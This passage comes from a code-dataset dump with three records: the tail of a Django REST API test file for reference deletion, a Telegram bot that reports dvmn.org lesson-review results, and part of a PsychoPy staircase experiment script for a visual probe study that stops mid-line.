'?delete_reason=Test delete reason'\n res = self.client.delete(url)\n self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT)\n self.assertFalse(Reference.objects.filter(id=reference.id).exists())\n self.assertEqual(Reference.history.filter(id=reference.id).first(\n ).history_change_reason, 'Test delete reason')\n self.assertEqual(Reference.history.filter(id=reference.id).first(\n ).history_user_id, self.user.id)\n history_count = Reference.history.filter(id=reference.id).count()\n self.assertEqual(history_count, 2)\n\n def test_delete_reference_without_delete_reason_fails(self):\n \"\"\"Test deleting a reference without delete reason fails.\"\"\"\n reference = create_reference()\n url = reverse('data:reference-detail', args=[reference.id])\n res = self.client.delete(url)\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertTrue(Reference.objects.filter(id=reference.id).exists())\n\n def test_delete_referenced_reference_fails(self):\n \"\"\"Test deleting a referenced reference fails.\"\"\"\n linelist = create_linelist()\n species = create_species()\n meta = create_meta(species.id, linelist.id)\n reference = create_reference()\n create_metaref(meta.id, reference.id)\n url = reverse('data:reference-detail', args=[reference.id]) + \\\n '?delete_reason=Test delete reason'\n res = self.client.delete(url)\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertTrue(Reference.objects.filter(id=reference.id).exists())\n\n def test_bibtex_without_id_fails(self):\n \"\"\"Test getting merged bibtex files without id fails.\"\"\"\n url = reverse('data:reference-get-bibtex')\n res = self.client.get(url)\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n", "repo_name": "jsycheung/saaga-api-draft", "sub_path": "app/data/tests/test_reference_api.py", "file_name": "test_reference_api.py", "file_ext": "py", "file_size_in_byte": 13735, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "core.models.Reference.objects.create", "line_number": 29, "usage_type": "call"}, {"api_name": "core.models.Reference.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 29, "usage_type": "name"}, {"api_name": "rdkit.Chem.Descriptors.ExactMolWt", "line_number": 39, "usage_type": "call"}, {"api_name": "rdkit.Chem.Descriptors", "line_number": 39, "usage_type": "name"}, {"api_name": "rdkit.Chem.MolFromSmiles", "line_number": 39, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 39, "usage_type": "name"}, {"api_name": "selfies.encoder", "line_number": 43, "usage_type": "call"}, {"api_name": "rdkit.Chem.Descriptors.ExactMolWt", "line_number": 48, "usage_type": "call"}, {"api_name": "rdkit.Chem.Descriptors", "line_number": 48, "usage_type": "name"}, {"api_name": "rdkit.Chem.MolFromSmiles", "line_number": 49, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 49, "usage_type": "name"}, {"api_name": "selfies.encoder", "line_number": 50, "usage_type": "call"}, {"api_name": "core.models.Species.objects.create", "line_number": 53, "usage_type": "call"}, {"api_name": "core.models.Species.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "core.models.Species", "line_number": 53, "usage_type": "name"}, {"api_name": "core.models.Linelist.objects.create", "line_number": 63, "usage_type": "call"}, {"api_name": "core.models.Linelist.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "core.models.Linelist", "line_number": 63, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 74, "usage_type": "call"}, {"api_name": "core.models.SpeciesMetadata.objects.create", "line_number": 92, "usage_type": "call"}, {"api_name": "core.models.SpeciesMetadata.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "core.models.SpeciesMetadata", "line_number": 92, "usage_type": "name"}, {"api_name": "core.models.MetaReference.objects.create", "line_number": 106, "usage_type": "call"}, {"api_name": "core.models.MetaReference.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "core.models.MetaReference", "line_number": 106, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 109, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 113, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 118, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_401_UNAUTHORIZED", "line_number": 126, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 126, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 132, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_401_UNAUTHORIZED", "line_number": 141, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 141, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 147, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_401_UNAUTHORIZED", "line_number": 151, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 151, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 156, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_401_UNAUTHORIZED", "line_number": 161, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 161, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 167, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 170, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 170, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 175, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 178, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 178, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 181, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 185, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 186, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 195, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 196, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 205, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 205, "usage_type": "name"}, {"api_name": "core.models.Reference.objects.get", "line_number": 206, "usage_type": "call"}, {"api_name": "core.models.Reference.objects", "line_number": 206, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 206, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "core.models.Reference.history.filter", "line_number": 212, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 212, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 212, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 220, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 221, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 230, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 230, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 234, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 241, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 241, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 246, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 249, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 249, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 254, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 254, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 254, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 256, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 256, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 256, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 258, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 258, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 258, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 264, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 265, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 274, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 274, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path", "line_number": 279, "usage_type": "attribute"}, {"api_name": "core.models.Reference.history.filter", "line_number": 280, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 280, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 280, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 282, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 282, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 282, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 284, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 284, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 284, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 291, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 292, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 300, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 300, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 305, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 308, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 308, "usage_type": "name"}, {"api_name": "core.models.Reference.objects.filter", "line_number": 309, "usage_type": "call"}, {"api_name": "core.models.Reference.objects", "line_number": 309, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 309, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 310, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 310, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 310, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 312, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 312, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 312, "usage_type": "name"}, {"api_name": "core.models.Reference.history.filter", "line_number": 314, "usage_type": "call"}, {"api_name": "core.models.Reference.history", "line_number": 314, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 314, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 320, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 322, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 322, "usage_type": "name"}, {"api_name": "core.models.Reference.objects.filter", "line_number": 323, "usage_type": "call"}, {"api_name": "core.models.Reference.objects", "line_number": 323, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 323, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 332, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 335, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 335, "usage_type": "name"}, {"api_name": "core.models.Reference.objects.filter", "line_number": 336, "usage_type": "call"}, {"api_name": "core.models.Reference.objects", "line_number": 336, "usage_type": "attribute"}, {"api_name": "core.models.Reference", "line_number": 336, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 340, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 342, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 342, "usage_type": "name"}]} {"seq_id": "37381411921", "text": "import os\nimport telegram\nimport logging\nfrom requests import get\nfrom requests.exceptions import ReadTimeout, ConnectionError\nfrom textwrap import dedent\nfrom time import sleep\nfrom dotenv import load_dotenv\n\n\nload_dotenv()\n\n\nclass TelegramLogsHandler(logging.Handler):\n def __init__(self):\n super().__init__()\n self.chat_id = os.environ['TG_CHATID']\n self.tg_bot = telegram.Bot(os.environ['TG_BOT_TOKEN'])\n\n def emit(self, record):\n log_entry = self.format(record)\n self.tg_bot.send_message(chat_id=self.chat_id, text=log_entry)\n\n\ndef main():\n logger = logging.getLogger('Logger')\n logger.setLevel(logging.INFO)\n logger.addHandler(TelegramLogsHandler())\n\n bot = telegram.Bot(os.environ['TG_BOT_TOKEN'])\n chat_id = os.environ['TG_CHATID']\n bot.send_message(chat_id=chat_id, text='Notification bot state: ON')\n\n api_token = os.environ['DEVMAN_TOKEN']\n timestamp = None\n headers = {'Authorization': f'Token {api_token}'}\n connect_err_count = 0\n\n while True:\n try:\n params = {'timestamp': timestamp}\n\n response = get(\n 'https://dvmn.org/api/long_polling/',\n params=params,\n headers=headers,\n timeout=int(os.environ['TG_BOT_REQUEST_TIMEOUT']),\n )\n connect_err_count = 0\n response.raise_for_status()\n review_data = response.json()\n if review_data['status'] != 'found':\n timestamp = review_data['timestamp_to_request']\n continue\n timestamp = review_data['last_attempt_timestamp']\n for attempt in review_data[\"new_attempts\"]:\n if attempt['is_negative']:\n result = 'К сожалению, в работе нашлись ошибки.'\n else:\n result = 'Преподавателю все понравилось, ' \\\n 'можно приступать к следующему уроку.'\n bot.send_message(\n chat_id=chat_id,\n text=dedent(\n f'''\n Преподаватель проверил работу\n \"{attempt['lesson_title']}\".\n {result}\n {attempt['lesson_url']}\n '''\n )\n )\n except ConnectionError:\n connect_err_count += 1\n if connect_err_count > 10:\n logger.exception(f'ConnectionError count: {connect_err_count}')\n sleep(100 * connect_err_count)\n except ReadTimeout:\n continue\n except Exception:\n logger.exception('Exception:')\n sleep(10)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "IBA20/review_notification_bot", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 2870, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.Handler", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "telegram.Bot", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 27, "usage_type": "attribute"}, {"api_name": "telegram.Bot", "line_number": 30, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 43, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 47, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 64, "usage_type": "call"}, {"api_name": "requests.exceptions.ConnectionError", "line_number": 73, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "requests.exceptions.ReadTimeout", "line_number": 78, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 82, "usage_type": "call"}]} {"seq_id": "22495923290", "text": "import psychopy\n# psychopyVersion = '2021.2.3' # '2020.2.10'=MartinExp1Version', 2021.2.3'=nickMac version, latest nickmac version=2022.2.4\n# psychopy.useVersion(psychopyVersion)\nfrom psychopy import __version__ as psychopyVersion # uses the computer's downloaded version\n\nprint(f\"psychopy.version: {psychopyVersion}\")\n\nfrom psychopy import gui, visual, core, data, event, monitors # logging, info\nfrom psychopy.hardware import keyboard\nimport os\nimport numpy as np\nfrom numpy.random import shuffle\nimport random\nimport copy\nfrom datetime import datetime\nfrom math import tan, sqrt\nfrom kestenSTmaxVal import Staircase\n\n\n\n'''\nUpdated Exp1 script. \n\nmake sure probes and trials counter are ontop of blanded mask.\nDefinately hangs after if trials counter and debugger are both true and console logging is left to deafult. \n\nFixed timing issues for concurrent probes: I've updated isi_dur_fr and pr2_fr.\nI've changed the responses to use the keyboard as suggested for coder experiments, rather than imported builder code. \nHopefully reduced memory drain issues too: removed thisExp.close, put logginf controls back in.\nIf memory issues stl not fixed, I could try to:\n1. set auto_log=False in the experiment handler: doesn't help\n2. get rid of trials_counter (or use TextBox2 rather than text_stim?): doesn't help\n3. set theseKeys once earlier before frame loop.: can't do this\n4. check for take a break once earlier before per-frame loop.\n5. manually write to csv each trial myself: commenting out all addData calls didn't help either!\n# rather than using addData.\n# see https://discourse.psychopy.org/t/crashes-after-30-mins-wavs-have-clicks-cant-use-midi-files/4311/10\n6. try turning off pyglet or using glfw\n'''\n\n# todo: Exp1_fr_test doesn't use this\nclock = core.Clock() # a clock to check times from\n\n# todo: Exp1_fr_test doesn't use this\n# print(f\"psychopy.version: {psychopy.__version__}\")\n\n\n# Ensure that relative paths start from the same directory as this script\n_thisDir = os.path.dirname(os.path.abspath(__file__))\nos.chdir(_thisDir)\n\n# Monitor config from monitor centre\nmonitor_name = 'NickMac' # 'NickMac' 'asus_cal' 'Asus_VG24' 'HP_24uh' 'ASUS_2_13_240Hz' 'Iiyama_2_18' 'Nick_work_laptop'\n\n\n# Store info about the experiment session\nexpName = 'Exp1_Dec22' # from the Builder filename that created this script\n\n# todo: add monitor to drop down menu?\nexpInfo = {'1. Participant': 'nick_fr_test_20230103',\n '2. Run_number': '1',\n '3. Probe duration in frames at 240hz': [2, 50, 100],\n '4. fps': [60, 144, 240],\n '5. Probe_orientation': ['radial', 'tangent'],\n '6. Trial_counter': [False, True],\n '7. Vary_fixation': [False, True],\n\n # todo: Exp1_fr_test doesn't use this\n '8. Blend_off_edges': [False, True],\n '9. testing/de-bugging': [False, True],\n }\n\n# GUI\ndlg = gui.DlgFromDict(dictionary=expInfo, title=expName)\nif not dlg.OK:\n core.quit() # user pressed escape\n\nexpInfo['time'] = datetime.now().strftime(\"%H:%M:%S\")\nexpInfo['date'] = datetime.now().strftime(\"%d/%m/%Y\")\n\n# GUI SETTINGS\nparticipant_name = expInfo['1. Participant']\nrun_number = int(expInfo['2. Run_number'])\nn_trials_per_stair = 3\nprobe_duration = int(expInfo['3. Probe duration in frames at 240hz'])\nprobe_ecc = 4\nfps = int(expInfo['4. fps'])\norientation = expInfo['5. Probe_orientation']\nuse_trials_counter = eval(expInfo['6. Trial_counter'])\nvary_fixation = eval(expInfo['7. Vary_fixation'])\nblend_off_edges = eval(expInfo['8. Blend_off_edges'])\nverbose = eval(expInfo['9. testing/de-bugging'])\n\n# expected frame duration\nexpected_fr_ms = (1/fps) * 1000\n\n# todo: Exp1_fr_test doesn't use this\n# # LOGGING AND PRINTING TO SCREEN\n# # # todo: try with critical logging only\n# # sets psychoPy to only log critical messages\n# if verbose:\n# logging.console.setLevel(logging.DEBUG)\n# else:\n# logging.console.setLevel(logging.CRITICAL)\n\n\n# VARIABLES\n'''Distances between probes (spatially and temporally)\nFor 1probe condition, use separation==99.\nFor concurrent probes, use ISI==-1.\n'''\nseparations = [0, 6] # select from [0, 1, 2, 3, 6, 18, 99]\n# separations = [18] # select from [0, 1, 2, 3, 6, 18, 99]\nprint(f'\\nseparations: {separations}')\n\n# todo: add in code to find equivallent isi_dur_frames for different fps from double_dist?\n# ISI_values = [-1, 0, 1, 2] # select from [-1, 0, 2, 4, 6, 9, 12, 24]\nISI_values = [-1, 6] # , 0, 1, 2] # select from [-1, 0, 2, 4, 6, 9, 12, 24]\nprint(f'ISI_values: {ISI_values}')\n# repeat separation values for each ISI e.g., [0, 0, 6, 6]\nsep_vals_list = list(np.repeat(separations, len(ISI_values)))\nprint(f'sep_vals_list: {sep_vals_list}')\n# ISI_vals_list cycles through ISIs e.g., [-1, 6, -1, 6]\nISI_vals_list = list(np.tile(ISI_values, len(separations)))\nprint(f'ISI_vals_list: {ISI_vals_list}')\n# stair_names_list joins sep_vals_list and ISI_vals_list\n# e.g., ['sep0_ISI-1', 'sep0_ISI6', 'sep6_ISI-1', 'sep6_ISI6']\nstair_names_list = [f'sep{s}_ISI{c}' for s, c in zip(sep_vals_list, ISI_vals_list)]\nprint(f'stair_names_list: {stair_names_list}')\nn_stairs = len(sep_vals_list)\nprint(f'n_stairs: {n_stairs}')\n\n# FILENAME\nfilename = f'{_thisDir}{os.sep}' \\\n f'{expName}{os.sep}' \\\n f'{participant_name}{os.sep}' \\\n f'{participant_name}_{run_number}{os.sep}' \\\n f'{participant_name}_{run_number}_output'\n# files are labelled as '_incomplete' unless entire script runs.\nsave_output_name = filename + '_incomplete'\nprint(f'filename: {filename}')\n\n\n# Experiment Handler\nthisExp = data.ExperimentHandler(name=expName,\n version=psychopyVersion, # does not set anything, just saved as string for record-keeping.\n extraInfo=expInfo,\n savePickle=True, # todo: Exp1_fr_test doesn't use this\n saveWideText=True,\n dataFileName=save_output_name,\n )\n\n# COLORS AND LUMINANCE\n# Lum to Color255\nLumColor255Factor = 2.39538706913372\n# Color255 to Color1\nColor255Color1Factor = 1 / 127.5 # Color255 * Color255Color1Factor -1\n# Lum to Color1\nColor1LumFactor = 2.39538706913372\n\nmaxLum = 106 # 255 RGB\n# minLum = 0.12 # 0 RGB\n# maxColor255 = 255\n# minColor255 = 0\n# maxColor1 = 1\n# minColor1 = -1\nbgLumProp = .2\nbgLum = maxLum * bgLumProp\nbgColor255 = bgLum * LumColor255Factor\nbgColor1 = (bgColor255 * Color255Color1Factor) - 1\n\n# COLOUR SPACE\n# todo: Exp1_fr_test doesn't use this\n# todo: set to run with RGB, but still convert to rgb255 at output.\ncolour_space = 'rgb255'\nbackground_col = bgColor255\n\n\n# MONITOR SPEC\nthisMon = monitors.Monitor(monitor_name)\nthis_width = thisMon.getWidth()\nmon_dict = {'mon_name': monitor_name,\n 'width': thisMon.getWidth(),\n 'size': thisMon.getSizePix(),\n 'dist': thisMon.getDistance(),\n 'notes': thisMon.getNotes()}\nprint(f\"mon_dict: {mon_dict}\")\n\n# double check using full screen in lab\ndisplay_number = 1 # 0 indexed, 1 for external display, 0 for internal\nif monitor_name in ['ASUS_2_13_240Hz', 'asus_cal', 'Nick_work_laptop', 'NickMac']:\n display_number = 0\nuse_full_screen = True\nif display_number > 0:\n use_full_screen = False\nwidthPix = mon_dict['size'][0]\nheightPix = mon_dict['size'][1]\nmonitorwidth = mon_dict['width'] # monitor width in cm\nviewdist = mon_dict['dist'] # viewing distance in cm\nviewdistPix = widthPix / monitorwidth * viewdist\nmon = monitors.Monitor(monitor_name, width=monitorwidth, distance=viewdist)\nmon.setSizePix((widthPix, heightPix))\n\n\n\n# WINDOW SPEC\nwin = visual.Window(monitor=mon, size=(widthPix, heightPix),\n colorSpace=colour_space, color=bgColor255,\n # winType='pyglet', # I've added this to make it work on pycharm/mac\n winType='glfw', # todo: Exp1_fr_test doesn't use this\n pos=[1, -1], # pos gives position of top-left of screen\n units='pix',\n screen=display_number,\n allowGUI=False,\n fullscr=use_full_screen)\nprint(f\"win.colorSpace: {win.colorSpace}\")\nprint(f\"win.winType: {win.winType}\")\n\n# todo: check this - is it just for apple retina screen\nif monitor_name == 'NickMac':\n widthPix = widthPix / 2\n heightPix = heightPix / 2\n widthPix, heightPix = win.size\n# if verbose:\nprint(f\"check win.size: {win.size}\")\nprint(f\"widthPix: {widthPix}, hight: {heightPix}\")\n\n\n# todo: Exp1_fr_test doesn't use this\n# '''set an ideal frame time and margin of error for dropped frames'''\n# fr_sec = 1/fps\n# fr_error = 1.5\n# max_fr_sec = fr_error * fr_sec\n# print(f\"expected frames duration is {fr_sec}. An acceptable error is {fr_error} times this.\\n\"\n# f\"If there are frames longer than {max_fr_sec}, the trial will be re-done.\")\n\n\n\n\n\n# ELEMENTS\n# fixation bull eye\nfixation = visual.Circle(win, radius=2, units='pix', lineColor='white', fillColor='black', name=\"fixation\")\n\n# PROBEs\nprobeVert = [(0, 0), (1, 0), (1, 1), (2, 1), (2, -1), (1, -1),\n (1, -2), (-1, -2), (-1, -1), (0, -1)]\n\nprobe1 = visual.ShapeStim(win, vertices=probeVert, fillColor=[0, 0, 0], name='probe1',\n lineWidth=0, opacity=1, size=1, interpolate=False)\nprobe2 = visual.ShapeStim(win, vertices=probeVert, fillColor=[0, 0, 0], name='probe2',\n lineWidth=0, opacity=1, size=1, interpolate=False)\n# todo: Exp1_fr_test doesn't use this\nprobe1.colorSpace = 'rgb255'\nprobe2.colorSpace = 'rgb255'\nprint(f\"probe1.colorSpace: {probe1.colorSpace}, probe2.colorSpace: {probe2.colorSpace}\")\n\n# probe1 = visual.ShapeStim(win, vertices=probeVert, fillColor=[1.0, -1.0, 1.0],\n# lineWidth=0, opacity=1, size=1, interpolate=False)\n# probe2 = visual.ShapeStim(win, vertices=probeVert, fillColor=[-1.0, 1.0, -1.0],\n# lineWidth=0, opacity=1, size=1, interpolate=False)\n\n# dist_from_fix is a constant to get 4dva distance from fixation,\ndist_from_fix = round((tan(np.deg2rad(probe_ecc)) * viewdistPix) / sqrt(2))\n\n\n\n# # HARDWARE\n# MOUSE - hide cursor\nmyMouse = event.Mouse(visible=False)\n\n# # KEYBOARD\n# todo: changed this from builder to keyboard\n# todo: Exp1_fr_test doesn't use this (it uses event.BuilderKeyResponse())\nkb = keyboard.Keyboard()\n\n\n\n# TEXT TO DISPLAY (changed from textStim to TextBox2)\n# todo: get rid of tabs\n# INSTRUCTIONS\ninsturction_text = \"\\n\\n\\n\\n\\n\\nFocus on the fixation circle at the centre of the screen.\\n\\n\" \\\n \"A small white target will briefly appear on screen,\\n\" \\\n \"press the key related to the location of the probe:\\n\\n\" \\\n \"[4]/[Q] top-left [5]/[W] top-right\\n\\n\\n\\n\" \\\n \"[1]/[A] bottom-left [2]/[S] bottom-right.\\n\\n\\n\" \\\n \"Some targets will be easier to see than others,\\n\" \\\n \"Some will be so dim that you won't see them, so just guess!\\n\\n\" \\\n \"You don't need to think for long, respond quickly, \" \\\n \"but try to push press the correct key!\\n\\n\" \\\n \"Don't let your eyes wander, keep focussed on the circle in the middle throughout.\"\n# todo: Exp1_fr_test doesn't use this - it uses TextStim\ninstructions = visual.TextBox2(win=win, name='instructions', text=insturction_text,\n # font='Arial',\n font='Open Sans',\n letterHeight=20, color='white',\n alignment='center', anchor='center',\n size=[None, None])\n\n# Trial counter\n# todo: put trials counter back to .45 of widthPix and heightPix pos\n# todo: Exp1_fr_test doesn't use this - it uses TextStim\ntrials_counter = visual.TextBox2(win=win, name='trials_counter', text=\"???\",\n # font='Arial',\n font='Open Sans',\n letterHeight=20,\n # default set to background colour (e.g., invisible)\n color=bgColor255,\n pos=[-widthPix * .45, -heightPix * .45])\n # pos=[-widthPix * .20, -heightPix * .20])\nif use_trials_counter:\n # if trials counter yes, change colour to white.\n trials_counter.color = 'white'\n\n# BREAKS\ntake_break = 76\ntotal_n_trials = int(n_trials_per_stair * n_stairs)\nif verbose:\n print(f\"take_break every {take_break} trials.\")\nbreaks_text = \"Break\\nTurn on the light and take at least 30-seconds break.\\n\" \\\n \"Keep focussed on the fixation circle in the middle of the screen.\\n\" \\\n \"Remember, if you don't see the target, just guess!\"\n# todo: Exp1_fr_test doesn't use this - it uses TextStim\nbreaks = visual.TextBox2(win=win, name='breaks', text=breaks_text,\n # font='Arial',\n font='Open Sans',\n color='white',\n alignment='center', anchor='center',\n # pos=[0, 0],\n # letterHeight=20, ori=0, color=[255, 255, 255],\n # colorSpace='rgb255', opacity=1, languageStyle='LTR', depth=0.0\n )\n\n# END OF EXPERIMENT MESSAGE\nend_of_exp_text = \"You have completed this experiment.\\n\" \\\n \"Thank you for your time.\\n\\n\" \\\n \"Press any key to return to the desktop.\"\n# todo: Exp1_fr_test doesn't use this - it uses TextStim\nend_of_exp = visual.TextBox2(win=win, name='end_of_exp', text=end_of_exp_text,\n # font='Arial',\n font='Open Sans',\n alignment='center', anchor='center',\n letterHeight=20)\n\n# # todo: add record intervals in dlg\n# frame_err_sec = win.refreshThreshold\n# print(f\"frame_err_sec (120%): {frame_err_sec}\")\n#\n# # create empty variables to use later\n# fr_recorded_list = []\n\n\n# todo: Exp1_fr_test doesn't use this\nprev_total_recorded_fr = 0\nprev_total_dropped_fr = 0\n\n# SCREEN BEFORE EXPERIMENT\nwhile not kb.getKeys():\n fixation.setRadius(3)\n fixation.draw()\n instructions.draw()\n trials_counter.text = f\"0/{total_n_trials}\"\n trials_counter.draw()\n win.flip()\n\n# freame error tollerance\nframe_err_sec = win.refreshThreshold\nframe_err_ms = frame_err_sec * 1000\nprint(f\"frame_err_sec (120%): {frame_err_sec} (or {frame_err_ms}ms)\")\nfr_recorded_list = []\n\n# STAIRCASE\nexpInfo['stair_list'] = list(range(n_stairs))\nexpInfo['n_trials_per_stair'] = n_trials_per_stair\n\nstairStart = maxLum\nminiVal = bgLum\nmaxiVal = maxLum\n\nstairs = []\nfor stair_idx in expInfo['stair_list']:\n\n thisInfo = copy.copy(expInfo)\n thisInfo['stair_idx'] = stair_idx\n\n thisStair = Staircase(name=stair_names_list[stair_idx],\n type='simple',\n value=stairStart,\n C=stairStart * 0.6, # initial step size, as prop of referene stim\n minRevs=3,\n minTrials=n_trials_per_stair,\n minVal=miniVal,\n maxVal=maxiVal,\n targetThresh=0.75,\n extraInfo=thisInfo)\n stairs.append(thisStair)\n\n# EXPERIMENT\ntrial_number = 0\nfor step in range(n_trials_per_stair):\n shuffle(stairs)\n for thisStair in stairs:\n\n # Trial, stair and step\n trial_number = trial_number + 1\n trials_counter.text = f\"{trial_number}/{total_n_trials}\"\n stair_idx = thisStair.extraInfo['stair_idx']\n print(f\"\\ntrial_number: {trial_number}, stair_idx: {stair_idx}, thisStair: {thisStair}, step: {step}\")\n\n # condition (Seprataion, ISI)\n sep = 